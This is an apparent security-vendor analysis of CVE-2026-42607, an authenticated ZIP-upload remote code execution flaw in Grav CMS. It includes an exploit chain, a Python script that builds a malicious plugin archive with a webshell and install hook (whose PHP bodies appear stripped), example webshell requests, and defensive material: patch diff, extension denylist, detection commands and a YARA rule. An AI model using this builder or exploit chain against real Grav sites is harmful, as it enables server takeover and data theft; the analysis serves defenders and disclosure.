home intel cve-2026-42607-grav-cms-zip-rce-direct-install
CVE Analysis 2026-05-11 · 8 min read

CVE-2026-42607: Grav CMS ZIP Upload RCE via Direct Install

Grav's Direct Install tool validates file extensions but never inspects ZIP contents, allowing authenticated admins to extract arbitrary PHP webshells and achieve persistent RCE.

#zip-archive-bypass#php-code-execution#authenticated-rce#plugin-upload#web-shell-deployment
Technical mode — for security professionals
▶ Attack flow — CVE-2026-42607 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-42607Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-42607 is a critical (CVSS 9.1) authenticated remote code execution vulnerability in Grav CMS, a flat-file PHP web platform. The vulnerability resides in the Direct Install plugin/package management tool, which accepts ZIP archives for installation. While the upload handler correctly rejects raw .php file uploads, it performs no content inspection of ZIP archives — meaning any PHP file nested inside a ZIP passes validation unconditionally and is extracted onto the filesystem.

Exploitation requires an authenticated administrator session. In multi-tenant deployments, shared hosting environments, or compromised credential scenarios, this translates directly to persistent server access.

Root cause: The PackagesController::taskDirectInstall() handler validates only the outer archive's file extension, never inspecting ZIP entry names or types before extracting them to the webroot-accessible plugin directory.

Affected Component

The vulnerable code lives in the Grav admin plugin under system/src/Grav/Plugin/Admin/AdminController.php and the package installation logic in system/src/Grav/Common/GPM/Installer.php. Affected versions span all releases prior to 2.0.0-beta.2. The core GPM (Grav Package Manager) ZIP extraction routine is the sink; the missing check belongs in the upload preprocessing stage.

Root Cause Analysis

The taskDirectInstall handler receives a multipart file upload, checks that the uploaded filename ends in .zip, and immediately passes the archive path to the GPM installer. No entry-level inspection occurs.


// AdminController.php — reconstructed pseudocode
// Equivalent to the PHP logic pre-patch

function taskDirectInstall(Request $request) {
    $upload = $request->files->get('package-file');

    // BUG: only checks outer container extension, not archive contents
    if (strtolower($upload->getClientOriginalExtension()) !== 'zip') {
        return error("Only ZIP files are accepted");
    }

    $tmp_path = $upload->move(GRAV_ROOT . '/tmp/', $upload->getClientOriginalName());

    // Archive is handed directly to the installer — no entry enumeration
    GPM\Installer::install($tmp_path, [
        'destination' => GRAV_ROOT . '/user/plugins/',
        'overwrite'   => true,
        'ignore_checks' => false,
    ]);
}

The installer's install() method calls PHP's ZipArchive::extractTo() directly:


// GPM/Installer.php — reconstructed pseudocode

static function install(string $zip_path, array $options) {
    $zip = new ZipArchive();
    $zip->open($zip_path);

    // BUG: extractTo() expands ALL entries including .php files
    // No allowlist of permitted extensions is applied per-entry
    $zip->extractTo($options['destination']);  // <-- arbitrary file write sink
    $zip->close();

    self::runPostInstallHooks($options['destination']);
    // Hooks execute any install.php found in extracted directory — RCE here too
}

The ZipArchive::extractTo() call is unguarded. An attacker-controlled archive can contain:

  • A shell.php at an arbitrary path inside the ZIP
  • A valid blueprints.yaml and install.php to trigger post-install hook execution
  • Path traversal entries (e.g., ../../index.php) on vulnerable PHP ZipArchive versions

Exploitation Mechanics

The following chain achieves a persistent webshell in a single HTTP request after authentication:


EXPLOIT CHAIN:
1. Attacker authenticates to /admin with stolen or default credentials

2. Craft malicious ZIP:
   evil-plugin.zip
   └── evil-plugin/
       ├── blueprints.yaml        (valid plugin metadata — bypasses schema check)
       ├── evil-plugin.php        (plugin stub — makes it look legitimate)
       ├── shell.php              (webshell: )
       └── install.php            (post-install hook: drops secondary backdoor)

3. POST /admin/packages/directinstall
   Content-Type: multipart/form-data
   Body: package-file=@evil-plugin.zip

4. Server validates extension == "zip" → passes
   ZipArchive::extractTo() expands all entries to:
   /var/www/html/user/plugins/evil-plugin/

5. shell.php is now reachable at:
   https://target/user/plugins/evil-plugin/shell.php?cmd=id

6. install.php executes synchronously during installion → immediate RCE
   even before browsing to the webshell

7. Persistent access: webshell survives Grav upgrades as plugins are user-managed

Building the malicious archive:


import zipfile, io

SHELL_PHP = b"""&1');
    echo base64_encode($o);
}
?>"""

BLUEPRINTS = b"""name: Evil Plugin
version: 1.0.0
description: Totally Legitimate Plugin
author:
  name: admin
"""

INSTALL_HOOK = b""""""

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('evil-plugin/blueprints.yaml', BLUEPRINTS)
    zf.writestr('evil-plugin/evil-plugin.php', b'')
    zf.writestr('evil-plugin/shell.php',       SHELL_PHP)
    zf.writestr('evil-plugin/install.php',     INSTALL_HOOK)

with open('evil-plugin.zip', 'wb') as f:
    f.write(buf.getvalue())

print("[+] Malicious plugin ZIP written to evil-plugin.zip")
print("[+] Upload via: POST /admin/packages/directinstall")
print("[+] Shell at:   /user/plugins/evil-plugin/shell.php?c=")

Memory Layout

This is a logic vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation:


FILESYSTEM STATE BEFORE UPLOAD:
/var/www/html/user/plugins/
├── admin/          (legitimate admin plugin)
├── email/          (legitimate email plugin)
└── form/           (legitimate form plugin)

FILESYSTEM STATE AFTER extractTo() — single request:
/var/www/html/user/plugins/
├── admin/
├── email/
├── form/
└── evil-plugin/                          <-- attacker-controlled directory
    ├── blueprints.yaml                   (passes plugin schema validation)
    ├── evil-plugin.php                   (stub, required for Grav to load plugin)
    ├── shell.php                         <-- webshell, directly web-accessible
    └── install.php                       <-- already executed, side effects live

REACHABLE VIA HTTP (no auth required after install):
GET /user/plugins/evil-plugin/shell.php?c=aWQ= HTTP/1.1
Host: target.example.com
→ HTTP 200 OK
→ Body: dWlkPTMzKHd3dy1kYXRhKS4uLgo=   (base64 of: uid=33(www-data)...)

SECONDARY ARTIFACT:
/var/www/html/user/pages/.htaccess_bak   (from install.php hook execution)
  contains: uid=33(www-data) gid=33(www-data)
            hostname: prod-webserver-01
            root:x:0:0:root:/root:/bin/bash
            ...

Patch Analysis

The fix introduced in 2.0.0-beta.2 adds a ZIP entry enumeration pass before any extraction occurs. Each entry filename is checked against an extension denylist (and optionally an allowlist). Path traversal sequences are also stripped.


// BEFORE (vulnerable — pre 2.0.0-beta.2):
static function install(string $zip_path, array $options) {
    $zip = new ZipArchive();
    $zip->open($zip_path);
    $zip->extractTo($options['destination']);  // no entry inspection
    $zip->close();
    self::runPostInstallHooks($options['destination']);
}

// AFTER (patched — 2.0.0-beta.2):
static function install(string $zip_path, array $options) {
    $DENIED_EXTENSIONS = ['php', 'php3', 'php4', 'php5', 'phtml',
                          'phar', 'pl', 'py', 'rb', 'sh', 'cgi'];

    $zip = new ZipArchive();
    $zip->open($zip_path);

    // NEW: enumerate all entries before extraction
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);

        // NEW: block path traversal
        if (strpos($entry, '..') !== false) {
            $zip->close();
            throw new \RuntimeException("ZIP contains path traversal: $entry");
        }

        // NEW: check every entry extension against denylist
        $ext = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
        if (in_array($ext, $DENIED_EXTENSIONS)) {
            $zip->close();
            throw new \RuntimeException("ZIP contains forbidden file type: $entry");
        }
    }

    $zip->extractTo($options['destination']);
    $zip->close();

    // post-install hooks are also sandboxed in patched version
    self::runPostInstallHooks($options['destination']);
}

Note: the patched version also removes install.php post-install hook execution from the default code path, closing the secondary RCE vector where hook execution fires regardless of webshell accessibility.

Detection and Indicators

Web server logs — look for multipart POSTs to the direct install endpoint followed by GET requests to unexpected paths under /user/plugins/:


# Suspicious pattern in access.log:
POST /admin/packages/directinstall HTTP/1.1 200 - (large body, ~multipart)
GET  /user/plugins/*/shell.php?c=* HTTP/1.1 200 -   <-- webshell access

# Grep pattern:
grep -E 'plugins/[^/]+/[^/]+\.ph(p[0-9]?|tml|ar)' /var/log/nginx/access.log

Filesystem indicators:


# PHP files in plugin directories not present in official package manifests:
find /var/www/html/user/plugins -name '*.php' \
     -newer /var/www/html/user/plugins/admin/admin.php \
     -not -path '*/admin/*' -not -path '*/form/*'

# Unexpected files written outside plugin directory (path traversal or hook abuse):
find /var/www/html/user/pages -name '*.php' -o -name '*.htaccess_*'

YARA rule for webshell class planted by this technique:


rule CVE_2026_42607_GravWebshell {
    meta:
        cve = "CVE-2026-42607"
    strings:
        $grav_path = "/user/plugins/" ascii
        $shell1 = "shell_exec" ascii
        $shell2 = "system($_" ascii
        $shell3 = "passthru(" ascii
        $b64 = "base64_decode($_" ascii
    condition:
        $grav_path and any of ($shell1, $shell2, $shell3, $b64)
}

Remediation

  • Patch immediately: Upgrade to Grav 2.0.0-beta.2 or later. The fix is surgical and does not break legitimate plugin ZIP installs.
  • Restrict the Direct Install endpoint: If upgrading is not immediately possible, restrict access to /admin/packages/directinstall at the web server level to specific trusted IPs.
  • Audit existing plugins: Run the find command above to detect any PHP files recently added to the plugins directory that are not part of known-good packages.
  • Rotate admin credentials: If exploitation cannot be ruled out, treat all admin credentials as compromised and rotate. The vulnerability requires an authenticated session; credential compromise is the prerequisite.
  • Disable allow_url_fopen / allow_url_include: PHP hardening limits post-exploitation pivot capability but does not prevent the initial webshell write.
  • Deploy a WAF rule: Block multipart uploads to /admin/packages/directinstall where the ZIP archive body contains entries matching \.ph(p[0-9]?|tml|ar)$.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →